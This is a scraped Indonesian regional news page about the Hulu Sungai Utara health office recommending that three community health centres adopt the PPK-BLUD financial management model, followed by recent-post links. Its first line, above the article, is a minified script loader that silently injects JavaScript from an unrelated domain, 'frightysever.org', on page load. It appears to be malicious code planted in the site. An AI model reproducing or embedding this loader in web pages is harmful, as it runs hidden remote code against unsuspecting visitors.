(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dinkes HSU Rekomendasikan 3 Puskesmas Berbentuk PPK BLUD


AMUNTAI, Melalui terbentuknya BLUD, sistem yang rencananya bakal diterapkan pada tiga Puskesmas di Kabupaten Hulu Sungai Utara (HSU) hal tersebut diharapkan memberikan pelayanan maksimal bagi masyarakat. Serta mempunyai fleksibilitas dalam Pola Pengelolaan Keuangan (PPK) yang baik.

Hal tersebut disampaikan Plt Kepala Dinas Kesehatan HSU dr H Agus Fidliansyah dalam acara sosialisasi PPK-BLUD Puskesmas dan penyerahan dokumen persiapan pembentukan BLUD Puskesmas Sungai Malang, Alabio dan Haur Gading, di Aula BPKAD HSU, Senin (9/12).

Lebih lanjut, Agus Fidliansyah menuturkan saat ini Puskesmas di HSU belum ada yang menerapkan BLUD, adapun Dinas Kesehatan sudah berkordinasi dengan kepala daerah untuk penerapan PPK-BLUD.

“Saat ini kita sudah koordinasikan dengan pimpinan, beliau sangat menyetujui Puskesmas kita berbentuk PPK BLUD,” katanya.

Agus mengharapkan tiga Puskesmas yang dipilih untuk penerapan PPK-BLUD ini bisa menjadi perwakilan contoh bagi Puskesmas yang lain.

“Syarat administrasi ada lima dan empat sudah melakukan pendampingan dari BPKP,” imbuhnya.

Sementara itu, Sekretaris Daerah HM Taufik menjelaskan, pusat kesehatan masyarakat milik Pemerintah Daerah melalui Permendagri Nomor 79 tahun 2018 tentang BLUD merupakan salah satu badan yang dapat menerapkan PPK BLUD. Untuk menerapkan PPK BLUD Puskesmas harus memenuhi 3 persyaratan yaitu substansif, teknis dan administratif.

“Persyaratan substantif dan teknis terpenuhi jika tugas dan fungsinya bersifat operasional dalam menyelenggarakan layanan umum yang menghasilkan semi barang,” ujar Taufik saat membuka kegiatan.

Ia berpesan agar Puskesmas yang telah dan akan menerapkan PPK BLUD harus menyusun pelaporan dan pertanggungjawaban berupa laporan keuangan tersebut terdiri dari laporan realisasi anggaran, laporan perubahan saldo anggaran, neraca, laporan operasional, laporan arus kas, laporan perubahan ekuitas, dan catatan atas laporan keuangan.

“Setelah menyusun laporan kemudian diintegrasikan ke dalam laporan keuangan SKPD untuk selanjutnya diintegrasikan/dikonsolidasikan ke dalam laporan keuangan pemerintah daerah,” tambah Taufik.

Selain itu, diharapkan di tahun 2020 sudah dibentuk PPK BLUD di 3 Puskesmas yaitu, Puskesmas Alabio, Puskesmas Sungai Malang dan Puskesmas Haur Gading.

“Tahun anggaran 2021 ketiga Puskesmas tersebut sudah mengimplementasikan pola pengelolaan keuangan badan layanan umum daerah di tahun 2022 semua Puskesmas sudah menerapkan PKK BLUD,” tutup Taufik.(dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.